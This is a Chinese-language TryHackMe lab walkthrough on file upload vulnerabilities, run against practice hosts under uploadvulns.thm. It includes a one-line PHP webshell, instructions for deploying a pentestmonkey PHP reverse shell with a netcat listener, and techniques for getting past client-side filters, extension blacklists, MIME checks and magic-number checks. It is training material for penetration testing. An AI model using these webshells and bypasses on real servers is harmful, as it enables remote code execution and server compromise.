觀前提示:
代碼段或者文欄位存在過長部分,請使用滑鼠左鍵選中要查看的一行內容,按住滑鼠左鍵并平行向右拖動觀看,
或者向右拖動代碼段、文欄位下方的滾動條,亦可查看 過長部分的內容,
配置在線練習環境
使用你喜歡的文本編輯器,打開設備上的 hosts 檔案:
在 Linux 和 MacOS 上,hosts檔案可以通過終端在 /etc/hosts 路徑下找到,
在 Windows 上,hosts檔案可以在 C:\Windows\System32\drivers\etc\hosts 路徑下找到(可以不通過終端),
在 Linux 或 MacOS 上,您將需要在終端界面使用 sudo 打開檔案進行寫入,
在 Windows 中,你需要用“ Run as Administrator”打開該檔案(先在電腦中找到該檔案),
這里主要介紹在kali等linux系統中的操作方法:
使用命令,在hosts檔案的內容末尾添加代碼行:
echo 10.10.190.98 overwrite.uploadvulns.thm shell.uploadvulns.thm java.uploadvulns.thm annex.uploadvulns.thm magic.uploadvulns.thm jewel.uploadvulns.thm demo.uploadvulns.thm >>/etc/hosts
注意:
如果你在此之前已經完成了上述步驟,那么你必須洗掉以前的host條目,
hosts檔案中應該只有一行包含上述 URL,
例如,下面的示例將不起作用:
10.10.10.10 overwrite.uploadvulns.thm shell.uploadvulns.thm java.uploadvulns.thm annex.uploadvulns.thm magic.uploadvulns.thm jewel.uploadvulns.thm demo.uploadvulns.thm
10.10.190.98 overwrite.uploadvulns.thm shell.uploadvulns.thm java.uploadvulns.thm annex.uploadvulns.thm magic.uploadvulns.thm jewel.uploadvulns.thm demo.uploadvulns.thm

上傳漏洞簡介和一般利用方法
上傳漏洞簡介
將檔案上傳到服務器的能力已經成為我們如何與 Web應用程式進行互動的一個組成部分,
無論是社交媒體網站的個人資料圖片、上傳到云存盤的報告,還是在 Github 上保存專案,具有檔案上傳功能的應用程式都是無限的,
不幸的是,如果處理不當,檔案上傳也會在服務器中引發嚴重的漏洞,這可能會導致一系列麻煩的問題的出現,
如果攻擊者設法上傳并執行 shell,則可能導致完全的遠程代碼執行(Remote Code Execution,RCE),
通過不受限制地上傳到服務器(以及隨意檢索資料的能力) ,攻擊者可以破壞或以其他方式改變現有內容——包括注入惡意網頁,從而導致進一步的漏洞,如 XSS 或 CSRF,
通過上傳任意檔案,攻擊者還可能使用服務器來承載和/或提供非法內容,或泄漏敏感資訊,
實際上,攻擊者如果能夠將自己選擇的檔案上傳到你的服務器上(沒有任何限制) ,那么這種攻擊實際上是非常危險的,
本文的目的是探討由于不正確(或不充分)處理檔案上傳操作 而導致的一些漏洞,具體來說,我們將關注:
1.檔案上傳 覆寫服務器上的現有檔案
2.檔案上傳 在服務器上上傳和執行 Shell
3.檔案上傳 繞過客戶端過濾
4.檔案上傳 繞過各種服務器端過濾
5.檔案上傳 欺騙內容型別驗證檢查
一般利用方法
那么,我們現在發現一個網站上有一個檔案上傳點,我們該如何利用它呢?
對于任何型別的黑客攻擊,列舉都是關鍵,我們越了解我們的環境,我們就越能利用它,
查看頁面的源代碼有助于了解是否應用了任何型別的客戶端篩選,
使用像gobuster這樣的目錄爆破工具進行掃描,通常對網路攻擊很有幫助,并且可能會顯示檔案上傳到了哪里,
Kali默認情況下不會安裝gobuster,但是可以通過命令:sudo apt install gobuster 進行gobuster的安裝,
使用Burpsuit攔截上傳請求也能派上用場,
諸如Wappalyzer之類的瀏覽器擴展插件可以提供關于目標站點的有價值的資訊,
對網站如何處理我們的輸入有一個基本的了解,然后我們就可以嘗試四處查看,看看我們能上傳什么,不能上傳什么,
如果網站使用了客戶端過濾,那么我們可以很容易地查看過濾器的代碼,并尋找繞過它,
如果網站有服務器端過濾的地方,那么我們可能需要猜測一下過濾器在尋找什么,上傳一個檔案,如果上傳失敗,再根據錯誤訊息嘗試不同的方法,
上傳一個能夠引發錯誤的檔案可以幫助判斷服務器端過濾的情況,
在這個階段,像 Burpsuite或者OWASP Zap這樣的工具非常有用,
覆寫服務器上的現有檔案
理論講解
當檔案上傳到服務器時,服務器應該進行一系列檢查,以確保檔案不會覆寫服務器上已經存在的任何內容,
通常的做法是給檔案分配一個新名稱(一般是隨機的),或者將上傳的日期和時間添加到原始檔案名的開頭或結尾,
或者可以應用檢查來查看檔案名是否已經存在于服務器上,如果同名檔案已經存在,那么服務器將回傳一個錯誤訊息,要求用戶選擇一個不同的檔案名,
當保護現有檔案不被覆寫時,檔案權限也會發揮作用:例如,Web用戶不應該對 Web 頁面有可寫權限,從而防止web頁面被攻擊者上傳的惡意版本所覆寫,
如果目標沒有采取這樣的預防措施,那么我們可能就能夠覆寫目標服務器上的現有檔案,
實際上,服務器上的檔案權限可能會防止這種情況成為一個嚴重的漏洞,在挖掘漏洞的時候 關于服務器的檔案權限值得我們密切關注,
例子:
在下圖中,我們有一個帶有上傳表單的網頁:

對于真正的挑戰,你可能需要列舉更多內容; 但是,這只是一個簡單的例子,在這個實體中,讓我們看一下頁面的源代碼:

在上圖的紅色框中,我們能看到負責顯示頁面上的影像的代碼,圖片來源于一個名為“ spaniel.jpg”的檔案,該圖片在一個名為“ images”的目錄中,
現在我們知道影像是從哪里提取的了,我們能覆寫它嗎?
讓我們從互聯網上下載另一張圖片,命名為 spineel.jpg,然后我們會把它上傳到網站,看看是否能覆寫現有的圖片:


實踐操作
任務要求:打開你的網頁瀏覽器并導航到overwrite.uploadvulns.thm ,你的目標是用你自己上傳的檔案 覆寫服務器上的檔案,


上傳成功,獲得flag

遠程代碼執行
理論講解
如果可以完全覆寫服務器上已經存在的檔案,那么對于維護站點的人來說是一個麻煩,因為檔案覆寫可能會導致一些其他漏洞,
現在讓我們更進一步,嘗試驗證遠程代碼執行漏洞:
遠程代碼執行,顧名思義,就是允許我們在 Web 服務器上執行任意代碼
雖然這可能是一個低權限的 Web 用戶帳戶(如 Linux 服務器上的 www-data賬戶) ,但是這仍然是一個非常嚴重的漏洞,
通過 Web 應用程式中的上傳漏洞遠程執行代碼,往往利用的是上傳與網站后端使用相同語言撰寫的程式(或者是服務器能夠理解并能執行的另一種語言)
傳統的后端語言是PHP,然而,其他后端語言也已經變得更加普遍(主要的例子有Python Django、Node.js 形式的 Javascript等)
值得注意的是,在路由應用程式中(路由是通過編程方式定義的應用程式,而不是映射到檔案系統的應用程式)這種攻擊方法變得更加復雜,發生的可能性也大大降低,
大多數現代 Web 框架都是通過編程方式實作路由的,
在利用檔案上傳漏洞時,有兩種基本的方法可以在 Web 服務器上實作 RCE(遠程代碼執行):Webshell和反向/系結 shell
實際上,一個功能完備的反向/系結 shell 是攻擊者的理想目標;
然而,有時候webshell可能是唯一可用的選擇(例如在以下環境中:目標服務器對上傳功能施加了檔案長度限制,或者防火墻規則阻止任何基于網路的 shell)
作為一種通用的方法論,我們希望上傳一種或另一種 shell,然后激活它,如果服務器允許,我們就能直接導航到該檔案(限制不足的非路由應用程式);
或者以其他方式強制 webapp 為我們運行腳本(這在路由應用程式中是必需的),
webshell實作RCE
假設我們找到了一個帶有上傳表單的網頁:

我們接下來怎么辦? 我們從掃描開始:

我們看到了兩個比較值得注意的目錄:uploads和assets
我們上傳的任何檔案似乎都將放置在“uploads”目錄中,我們先上傳一個合法的影像檔案:


現在,如果我們去 http://demo.uploadvulns.thm/uploads 頁面,我們應該能夠看到照片已經上傳了!


我們已經驗證了可以成功上傳我們自己的圖片,現在讓我們嘗試一個 webshell,
實際上,我們知道這個 webserver 是用PHP開發后端頁面的,所以我們將直接跳到創建和上傳PHP的 webshell,
在實戰中,我們可能需要多做一些列舉,PHP是一個很好的起點,
一個簡單的 webshell 通過獲取一個引數并將其作為系統命令執行來作業,在 PHP 中,這樣做的語法是:
<?php
echo system($_GET["cmd"]);
?>
此代碼將接受一個 GET 引數,并將其作為系統命令執行,然后將輸出回顯到螢屏上,
讓我們嘗試把它上傳到網站,然后用它來顯示我們當前的用戶和作業目錄的內容:

我們現在可以使用這個 shell 從系統中讀取檔案,或者從這里升級到反向 shell,我們有了 RCE,選擇是無限的,
注意:在使用 webshell 時,查看頁面的源代碼通常更容易查看輸出,這大大改進了輸出的格式,
反向shell實作RCE
上傳反向 shell 的程序與上傳 webshell 的程序幾乎完全相同,我們將使用Pentest Monkey檔案建立反向 shell,這在Kali Linux 上是默認安裝的,
該檔案的鏈接是:https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
你需要編輯這個 shell 的第49行:$ip = '127.0.0.1'; // CHANGE THIS
將127.0.0.1更改為 TryHackMe提供的 tun0 IP 地址(在https://tryhackme.com/access 頁面可以找到,這代表的是攻擊機的內部虛擬 IP 地址)
修改完shell檔案后,接下來我們需要做的是啟動一個 Netcat 監聽器來接收連接,輸入命令: nc -lvnp 1234

現在,讓我們上傳 shell,然后通過瀏覽器url導航到http://demo.uploadvulns.thm/uploads/shell.php
這個 shell 的名字,就是你自己命令的shell檔案的名字(默認情況下是php-reverse-shell.php)
此時網站會被掛起,無法正常加載內容,當我們切換回我們的終端界面時,我們可以看到我們獲取了一個反向shell:

實踐操作
任務要求:打開你的網頁瀏覽器并導航到shell.uploadvulns.thm,實作一個簡單的RCE,
先進行目錄掃描,使用gobuster,輸入以下命令:
gobuster dir -u http://shell.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

發現/resources目錄是檔案上傳點
準備好一個反向shell檔案(https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php )
將shell檔案中的ip地址為攻擊機的虛擬內部地址(https://tryhackme.com/access ):

在攻擊機終端設定監聽,利用目標的檔案上傳點——上傳shell檔案,上傳完畢之后,先訪問shell檔案,再查看終端界面:


使用shell界面,找到flag檔案:

關于“過濾”的介紹
首先,讓我們討論一下客戶端過濾和服務器端過濾之間的區別,
客戶端過濾:
當我們談論一個“客戶端”的腳本時,在 Web 應用程式的環境中,我們的意思是它運行在用戶的瀏覽器上,而不是運行在Web 服務器上,主流的客戶端腳本語言是JavaScript ,
無論使用何種語言,客戶端腳本都會在瀏覽器中運行,在檔案上傳的背景關系中,這意味著過濾發生在檔案上傳到服務器之前,
理論上講,這應該是件好事,然而,因為過濾是在我們的計算機上發生的,所以我們很容易繞過它,因此,像這樣通過客戶端過濾來驗證上載的檔案是否為惡意檔案,本身就是一種高度不安全的方法,
服務器端過濾:
服務器端腳本將在服務器上運行,在傳統上,PHP 是主要的服務器端語言(微軟IIS的ASP則緊隨其后),最近幾年,其他幾種服務端腳本語言(C # ,Node.js,Python,Ruby on Rails等等)也得到了廣泛地應用,服務器端過濾往往更難繞過,因為你面前沒有代碼,
當代碼在服務器上執行時,在大多數情況下,也不可能完全繞過過濾;所以我們必須在符合過濾的地方 形成一個有效載荷(payload),從而讓服務器端仍然允許我們執行代碼,
談完了客戶端過濾和服務器端過濾,讓我們看看具體的一些不同型別的過濾:
檔案擴展名驗證:
檔案擴展名(理論上)用于標識檔案的內容,
在實踐中,它們很容易改變,所以實際上并沒有多大意義,
然而,MS Windows 仍然使用它們來識別檔案型別,盡管基于 Unix 的系統傾向于依賴其他方法,
檢查檔案擴展名的篩選器有兩種作業方式,它們要么是黑名單擴展(即有一個不允許的擴展名串列) ,要么是白名單擴展(即有一個允許的擴展名串列,并拒絕所有其他擴展名),
檔案型別過濾:
檔案型別過濾 類似于檔案擴展名驗證,但是更加密集,檔案型別過濾會再次驗證檔案的內容是否可以上傳,
我們將研究兩種類型的檔案型別驗證:
MIME 驗證:
MIME (多用途 Internet 郵件擴展)型別用作檔案的識別符號——最初是在通過電子郵件作為附件傳輸時使用,現在也在通過 HTTP (S)傳輸檔案時使用,
檔案上傳的 MIME 型別附加在請求的頭部,看起來像這樣:

MIME型別遵循的格式為: < type >/< subtype > ,
在上面的請求中,你可以看到圖片“ Spaniel.jpg”已經上傳到服務器,
作為一個合法的 JPEG 影像,這次上傳的 MIME 型別是“ image/JPEG”,
檔案的 MIME 型別可以在客戶端和/或服務器端進行檢查,但是,由于 MIME 是基于檔案的擴展名的,因此也很容易繞過它,
魔術數字驗證:
魔術數字是確定檔案內容的更準確的方法,盡管它們并非不可偽造,
檔案的“魔術數字”是指標識檔案內容 在檔案內容開頭位置的一串位元組,
例如,一個 PNG 檔案在檔案的最頂部有這些位元組:89 50 4E 47 0D 0A 1A 0A

與Windows系統不同的是,Unix系統使用魔法數字來識別檔案,
Unix型別的系統 在處理檔案上傳時,會檢查上傳檔案的魔法數字,以確保檔案能夠被安全接受,
這絕不是一個有保證的解決方案,但它比檢查檔案的擴展名更有效,
檔案長度過濾:
檔案長度過濾 用于防止通過上傳表單將大型檔案上傳到服務器(因為這可能導致服務器資源短缺),
在大多數情況下,當我們上傳 shell 時,這不會給我們帶來任何問題,
但是,值得注意的是,如果上傳表單只希望上傳一個非常小的檔案,可能會有一個長度過濾,以確保遵守檔案長度要求,
作為一個例子,我們前一個任務中的PHP反向shell檔案 大小為5.4 Kb ——相對較小,但是如果表單期望的檔案最大為2Kb,那么我們需要找到一個替代的 shell 來上傳,
檔案名過濾:
如前所述,上傳到服務器的檔案應該是唯一的,
通常這意味著向檔案名添加一些隨機字符,但是,另一種策略是檢查服務器上是否已經存在同名檔案,如果存在,則回傳給用戶一個錯誤提示,
此外,檔案名應該在上傳時進行消毒,以確保它們不包含任何“壞字符”,“壞字符”可能會在上傳時對檔案系統造成潛在的問題(例如,Linux 上的空位元組或正斜杠,以及控制字符";" 和潛在的Unicode 字符......),
這對我們來說意味著,在一個管理良好的系統上,我們上傳后的檔案不太可能與上傳前的檔案名稱相同,所以要注意,如果你設法繞過了過濾,你可能還要找到上傳后的shell,
檔案內容過濾:
更復雜的過濾系統可能會掃描上傳檔案的全部內容,以確保檔案不會在擴展名、 MIME 型別和 Magic Number上面進行欺騙,
這是一個明顯比大多數基本過濾系統更復雜的過濾程序,
值得注意的是,這些過濾本身都不是完美的——它們通常會相互結合使用,提供一個多層過濾,從而大大提高了上傳的安全性,這些過濾器的任何一個都可以單獨應用于客戶端、服務器端或兩者兼而有之(同時應用在前端和后端),
類似地,不同的框架和語言都有自己固有的過濾和驗證上傳檔案的方法,因此,可能會出現特定于語言的漏洞,
例如,在 PHP 主要版本php5之前,通過附加一個null空位元組能夠繞過檔案擴展名過濾,后面再跟有效的擴展名.php,從而形成一個惡意的php webshell檔案,
還可以將 PHP 代碼注入到本來有效的影像檔案的 exif 資料中,然后強制服務器執行它,
繞過客戶端過濾
理論講解
正如前面所提到的,客戶端過濾非常容易繞過,因為它完全發生在你所控制的機器上,當你能夠訪問代碼時,就很容易去修改它,
有四種簡單的方法可以繞過一般的客戶端檔案上傳過濾:
1.關閉瀏覽器中的 Javascript以繞過客戶端過濾 ——如果網站不需要 Javascript 來提供基本的功能,那么這種繞過方法就是有效的,
如果完全關閉 Javascript 將阻止站點作業,那么你可能需要選擇其他方法來進行繞過客戶端過濾,
2.攔截并修改將要加載的web頁面,使用 Burpsuit,我們可以攔截傳入的Web頁面,并在 Javascript 過濾器有機會運行之前就洗掉這個過濾器,
3.攔截并修改檔案然后再上傳,前一個方法在加載網頁之前作業,這個方法則允許網頁正常加載,在檔案已經通過,并被過濾器接受之后,再攔截檔案上傳操作(upload),
4.直接將檔案發送到上傳點,當你可以直接使用像 curl 這樣的工具發送檔案時,為什么要使用帶有過濾器的網頁呢?這種將資料直接發布到包含處理檔案上傳代碼的頁面是完全繞過客戶端過濾器的另一種有效方法,
在這里,我們不會深入討論這種方法,但是,這種命令的語法應該是這樣的:
curl -X POST -F "submit:<value>" -F "<file-parameter>:@<path-to-file>" <site>
要使用這種方法,首先要攔截一次成功的上傳(使用 BurpSuite 或瀏覽器控制臺) ,查看上傳中使用的引數,然后將這些引數插入上面的命令,
我們將在下面深入討論第二和第三種方法,
讓我們再次假設,我們在一個網站上找到了一個上傳頁面:

像往常一樣,我們先看一下源代碼,這里我們看到一個基本的 Javascript 函式 它用于檢查上傳檔案的 MIME 型別:

在這個例子中,我們可以看到過濾器使用了一個白名單來排除任何不是 image/jpeg 的 MIME 型別,
我們的下一步操作是嘗試進行檔案上傳——正如預期的那樣,如果我們選擇一個 jpeg圖片,過濾器函式就會接受它,否則上傳行為將會被拒絕,
了解了這些資訊之后,讓我們啟動 Burpsuite 的攔截功能 并重新加載原網頁,在Burpsuite中我們將看到我們對站點的請求訊息,但是我們真正想看到的是服務器的回應訊息,所以右鍵單擊截獲的資料,向下滾動到“ Do Intercept”,然后選擇“ Response to this request”:

當我們點擊視窗頂部的“Forward”按鈕時,我們將看到服務器對我們的請求的回應,在這里,我們可以洗掉、注釋掉 Javascript 過濾器函式,或者在它有機會加載之前中斷它:

洗掉過濾函式后,我們再次點擊“Forward”,直到瀏覽器中的網站頁面完成加載,現在我們可以自由上傳任何型別的檔案到網站:

這里值得注意的是,在默認情況下,Burpsuite 不會攔截 Web 頁面正在加載的任何外部 Javascript 檔案,如果你需要編輯一個不在正在加載的主頁面中的腳本(也就是外部js腳本),你需要點擊 Burpsuite視窗頂部的“ Options”選項卡,然后在“ Intercept Client Request”(攔截客戶端請求)部分,編輯第一行的“檔案擴展名-不匹配”的條件(condition),洗掉^js$| :

我們已經通過在加載頁面之前攔截和洗掉過濾器函式繞過了這個過濾,現在讓我們嘗試先上傳一個具有合法擴展名和 MIME 型別的檔案,然后再用 Burpsuite 進行攔截和更正上傳,
重新加載網頁(這時過濾器函式將重新生效),讓我們使用之前使用的反向 shell 并將其重命名為“ shell.jpg”,當 MIME 型別(基于檔案擴展名)自動檢查完成時,客戶端的過濾器會讓我們的payload(有效載荷)通過:

激活 Burpsuite 攔截功能,然后在網頁中單擊“uplpad(上傳)”,Burpsuite 就會自動捕捉該上傳請求:

請注意,我們的 PHP shell 的 MIME 型別當前是 image/jpeg,我們將其更改為 text/x-php,并將檔案擴展名從.jpg改成.php,然后再將這個請求轉發到服務器:

我們先在攻擊機終端設定好netcat 監聽器,然后我們再導航到 http://demo.uploadvulns.thm/uploads/shell.php 頁面,由下圖能夠看到攻擊機終端已經成功接收到一個連接,反向shell已建立!

實踐操作
任務要求:使用瀏覽器導航到java.uploadvulns.thm頁面,并繞過過濾器獲得一個反向 shell,請記住,并非所有客戶端腳本都是行內的(意思就是有時候會存在外部腳本)!
使用gobuster對目標站點進行目錄爆破:
gobuster dir -u http://java.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

修改要上傳的shell檔案的內容,將IP地址和埠設定一下(IP地址設定為TryHackMe配置給攻擊機的虛擬內部地址,埠自定義即可),在攻擊機上打開一個終端視窗,輸入命令設定一個Netcat監聽器,監聽1234埠:
nc -nlvp 1234

在瀏覽器中打開給定的目標網址,查看網頁原始碼,可以發現過濾函式為一個外部js腳本,點擊該腳本地址 跳轉查看過濾函式內容,可以看到是設定了一個白名單機制 只允許圖片格式的檔案進行上傳:


使用Burpsuite 攔截網站的資料包,由于Burp默認不攔截外部的js腳本,所以先修改Burp的Proxy功能中的options,取消對js檔案的不匹配,

回到原網站重繪瀏覽器頁面,此時Burp會攔截瀏覽器加載頁面,在Burp中查看服務器的回應訊息,將實作過濾功能的腳本注釋掉或者洗掉掉,再重新轉發給服務器:


此時回到原網站 可以進行任意檔案上傳,將shell檔案上傳至目標站點,訪問網站目錄中的shell檔案,成功建立反向shell:


利用該反向shell,在攻擊機終端找到flag檔案:

繞過服務器端過濾: 檔案擴展名
理論講解
當過濾設定在服務器端時,比客戶端過濾更難繞過,因為你完全看不到代碼,
為了繞過服務器端的過濾,我們需要進行很多嘗試 弄清楚它的過濾機制,然后才能逐漸組裝出一個符合限制條件的payload(有效載荷),
假設有一個使用 檔案擴展名黑名單 作為服務器端過濾器的網站,它的后端代碼如下所示:
<?php
//Get the extension
$extension = pathinfo($_FILES["fileToUpload"]["name"])["extension"];
//Check the extension against the blacklist -- .php and .phtml
switch($extension){
case "php":
case "phtml":
case NULL:
$uploadFail = True;
break;
default:
$uploadFail = False;
}
?>
在此實體中,代碼正在查找最后一個句點(.)并使用該檔案名確認擴展名,這就是我們要繞過的,
這些代碼的其他作業方式包括: 搜索檔案名中的第一個句點(.),或者在每個句點(.)后面分割檔案名,檢查是否有被列入黑名單的擴展名出現,
我們可以看到代碼正在過濾掉.php 和.phtml 擴展名,因此,如果我們想要上傳一個 PHP 腳本,我們將不得不尋找另一個擴展名,
PHP 的維基百科頁面(https://en.wikipedia.org/wiki/PHP)提供了一些常見的擴展,我們可以嘗試使用; 然而,實際上還有很多其他很少使用的擴展,網路服務器仍然可以識別出來,其中包括:
.php3, .php4, .php5, .php7, .phps, .php-s, .pht and .phar
其中許多都能繞過過濾器(.php 和.phtml被黑名單過濾攔截) ,但有時候服務器會被配置為 不識別一些擴展名為 PHP 檔案,如下例所示:

這實際上是 Apache2服務器的默認配置(不識別一些擴展名為 PHP 檔案),但是,系統管理員可能已經更改了默認配置(或服務器可能已經過時),所以使用其他可能會被決議成php的檔案擴展名 還是值得一試,
最終在本例中,我們發現.phar擴展名能夠繞過過濾器,并讓我們獲得一個shell:

讓我們看看另一個例子,這次我們將完全黑箱操作:沒有后端代碼可供參考,
在這個例子中,我們有一個上傳表單:

我們從完全合法的上傳開始,讓我們嘗試上傳spaniel.jpg:

這說明 JPEGS 是可以被接受的,我們選擇一個肯定會被拒絕的吧:shell.php

通過多次嘗試上傳不同檔案格式 的檔案,我們能夠大概了解 過濾器會接受什么格式的檔案或者會拒絕什么格式的檔案,我們發現沒有既執行又不被過濾的php shell 檔案擴展名,
在前面的示例中,我們看到后端代碼使用 pathinfo ()函式 來得到" . "后面的最后幾個字符,但是如果它對 略有不同的輸入內容 進行過濾時會發生什么呢?
讓我們嘗試上傳一個名為shell.jpg.php的檔案,我們已經知道 JPEG 檔案能夠被接受,如果過濾器只是檢查.jpg檔案是否在輸入內容中的某個地方 那會發生什么呢?
這種過濾器的偽代碼可能是這樣的:
ACCEPT FILE FROM THE USER -- SAVE FILENAME IN VARIABLE userInput
IF STRING ".jpg" IS IN VARIABLE userInput:
SAVE THE FILE
ELSE:
RETURN ERROR MESSAGE
偽代碼解讀:
接受用戶的檔案--在變數userInput中保存檔案名
如果字串“ . jpg”在變數userInput中
則保存該檔案
否則 回傳錯誤資訊
當上傳shell.jpg.php檔案之后,我們得到一個成功的訊息,使用瀏覽器導航到/uploads目錄下,確認payload(有效載荷)已成功上傳:

點擊這個shell檔案,成功建立反向shell:

這絕不是一個與檔案擴展名相關的上傳漏洞的詳盡串列,與黑客行為中的所有內容一樣,我們也在尋找其他人撰寫的代碼中的缺陷; 這些代碼很可能是為手頭的任務撰寫的唯一代碼,這是從這個任務中學到的真正重要的一點: 在編程時,有成千上萬種不同的方法來實作相同的特性——您的開發必須針對手邊的過濾器進行定制,繞過任何型別的服務器端過濾器的關鍵是列舉并查看哪些是允許的,以及哪些是阻塞的; 然后嘗試構建一個有效載荷,以便能夠通過過濾器所尋找的條件,
實踐操作
任務要求:繞過過濾器上傳并激活一個 shell,在/var/www/路徑下找到flag檔案,目標站點為:annex.uploadvulns.thm (tips:在找上傳后的shell檔案時,網站目錄并不總是能夠提供索引)
進行目錄爆破:
gobuster dir -u http://annex.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

嘗試修改shell檔案擴展名進行繞過:
上傳.jpg.php失敗
上傳.phar失敗
上傳.pht失敗
上傳.php-s失敗
上傳.phps失敗
上傳.php7失敗
上傳.php5成功

使用建立的shell,找到flag檔案并查看內容:

繞過服務器端過濾: 魔術數字
理論講解
我們已經了解了服務器端的擴展名過濾,接下來了解一下 魔術數字驗證作為服務器端過濾器的情況,
如前所述,魔術數字是用作檔案的更準確的識別符號,檔案的魔術數字是一個十六進制字串,并且總是檔案中的第一個元素,了解了這一點,就可以使用魔術數字來驗證檔案上傳,只需讀取前幾個位元組并將它們與白名單或黑名單進行比較即可,請記住,這種技術對于基于 PHP 的 Web 服務器非常有效; 但是,對于其他型別的 Web 服務器,它有時會失敗,
讓我們來看一個例子,我們現在有一個上傳頁面:

如果我們上傳標準的 shell.php 檔案,就會得到一個錯誤,但是上傳JPEG檔案是可以的,所以讓我們嘗試添加 JPEG 的魔術數字到我們的shell.php檔案的頂部,
查看網站:https://en.wikipedia.org/wiki/List_of_file_signatures ,這個網站向我們展示了 JPEG 檔案的幾個魔術數字,選擇其中一個即可,如:FF D8 FF DB
我們可以直接把這些數字的 ASCII 表示(????)添加到檔案的頂部,但是直接使用十六進制表示通常更容易,
在開始之前,讓我們使用 Linux file 命令來檢查 shell 的檔案型別:

我們選擇的魔術數字是四個位元組長度,所以讓我們打開反向 shell 腳本,在第一行添加四個隨機字符,這些字符并不重要,所以在這個例子中我們用了四個“ A”:

保存并退出,使用hexeditor(kali默認已安裝)或者其他類似工具打開這個檔案,這個工具可以讓你以十六進制的形式打開并且編輯shell檔案內容:

注意上圖紅色框中的四個位元組: 它們都是41,這是大寫的“ A”的十六進制代碼--正是我們之前在檔案頂部添加的內容,將其更改為我們之前查找到的 JPEG 檔案的魔術數字:FF D8 FF DB

現在,如果我們保存并退出檔案(Ctrl + x),我們可以再次使用 file命令,并且可以看到我們已經成功地欺騙了 shell 的 filetype:

很好,現在讓我們嘗試上傳修改后的 shell,看看它是否繞過過濾器:

我們繞過了服務器端的魔法數字過濾器,得到了一個反向 shell,
實踐操作
任務要求:繞過魔術數字過濾器上傳一個 shell,找到上傳的 shell 的位置并激活它,最后在/var/www/路徑下找到并查看flag檔案,目標站點為magic.uploadvulns.thm
先對目標站點進行目錄爆破:
gobuster dir -u http://magic.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

上傳一個JPEG檔案到目標站點,目標站點給的提示資訊為 只接收gif檔案:

修改shell檔案(先在php檔案的頂部添加AAAAAA六個字符,然后使用 hexeditor 修改AAAAAA對應的十六進制字符為gif檔案的魔術數字):


在攻擊機終端設定Netcat監聽器,上傳檔案到目標站點,訪問之前爆破得到的目錄路徑,發現服務器上的索引關閉,因此我們需要輸入以下內容激活shell:
http://magic.uploadvulns.thm/graphics/shell.php


成功建立反向shell,使用命令查找flag檔案并查看其中的內容:

示例方法
我們現在已經看到了各種不同型別的過濾器——客戶端和服務器端——以及用于檔案上傳攻擊的一般方法,在下一個任務中,你將要完成一個黑盒檔案上傳挑戰,因此讓我們借此機會討論一個示例方法,以便更深入地處理此類挑戰,你可以開發自己的方法來替代這種方法,但是,如果你是檔案上傳攻擊的新手,你可能會發現以下示例方法非常有用,
我們把這看作是一個循序漸進的程序,假設我們有一個網站要進行安全審計:
? 1.我們要做的第一件事就是把網站作為一個整體來看,使用瀏覽器擴展插件,比如前面提到的 Wappalyzer(或者手動) ,我們可以尋找到 Web 應用程式可能使用了什么語言和框架, Wappalyzer并不總是100% 準確,通過向網站發出請求來手動列舉這些資訊是一個很好的開始,同時可以使用 Burpsuite來截取回應訊息,訊息頭中的server或者x-powered-by可用于獲取有關服務器的資訊,我們還要尋找攻擊的載體,比如,一個上傳頁面,
? 2.找到一個上傳頁面之后,我們的目標是進一步檢查它,查看客戶端腳本的源代碼,以確定是否有任何要繞過的客戶端過濾器,客戶端完全在我們的控制之中,
? 3.然后我們會嘗試上傳一個完全無害的檔案,從這里我們將看到如何才能訪問我們的檔案,換句話說,我們可以直接在上傳檔案夾中訪問它嗎?上傳的檔案是不是嵌在某個頁面里了?網站對所上傳的檔案的命名方案是什么?如果上傳之后,檔案所在的位置不是很明顯,就需要使用Gobuster 這樣的目錄掃描工具,這一步非常重要,因為它不僅提高了我們對正在攻擊的目標的認識,還給了我們一個“可接受”檔案的基準,我們可以在此基礎上做進一步測驗,
? gobuster在這里的一個常用引數選項是-x 選項,該選項可用來查找具有特定擴展名的檔案,例如,如果將 -x php,txt,html 添加到 gobuster 命令中,則該工具將附加.php,.txt和.html到選定的字典內容中的每一項,如果你已經設法上傳了一個有效負載,并且服務器會更改上傳檔案的名稱,那么這將非常有用,
? 4.確定了如何以及在哪里可以訪問我們上傳的檔案之后,我們將嘗試進行惡意檔案上傳,繞過我們在第二步中發現的任何客戶端過濾器,如果此時存在服務器端過濾器使檔案上傳停止,那么它給我們的報錯訊息對于確定接下來的步驟非常有用,
假設我們的惡意檔案上傳操作已經被服務器端過濾所停止,以下有一些方法可以確定服務器端使用的是哪種型別的過濾:
? 1.如果你可以成功地上傳一個檔案擴展名完全無效的檔案(testingimage.invalidfileextension),服務器很可能使用了"擴展名黑名單"來過濾檔案,反之,如果該上傳失敗,那么服務器可能使用的是"擴展名白名單"的方式過濾檔案,
? 2.嘗試重新上傳最初被接受的完全無害檔案,但這一次將該檔案的魔術數字修改為shell檔案型別(如php型別)的魔術數字,如果上傳失敗,那么說明服務器正在使用一個基于魔術數字驗證的過濾器,
? 3.與前一點一樣,再次嘗試上傳無害的檔案,但是使用 BurpSuite 攔截請求,并將上傳的 MIME 型別更改為你希望通過過濾的MIME型別,如果上傳失敗,那么說明服務器端是基于 MIME 型別驗證進行過濾的,
? 4.列舉服務器端是否存在檔案長度過濾,就是上傳一個小檔案,然后逐漸上傳更大的檔案,直到你觸發了過濾器,到那時你就會知道可接受的極限檔案大小是多少,如果你非常幸運,那么第一次上傳失敗的錯誤資訊可能會直接告訴你檔案大小限制是多少,請注意,一個小的檔案長度限制可能會阻止你上傳shell檔案----比如:到目前為止我們一直在使用的反向 shell檔案,
挑戰任務
要求:目標站點為 jewel.uploadvulns.thm ,上傳檔案并建立反向shell,利用反向shell界面 找到/var/www/路徑下的flag檔案并查看其內容,
tips:
這里需要一個字典 UploadVulnsWordlist.txt,由TryHackme網頁提供下載,
還需要使用github上的nodejs反向shell,地址如下(訪問該地址復制前面的function部分):
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md#nodejs
我們需要的shell檔案內容如下所示(已經將ip和埠修改好了):

首先對目標站點進行目錄爆破:
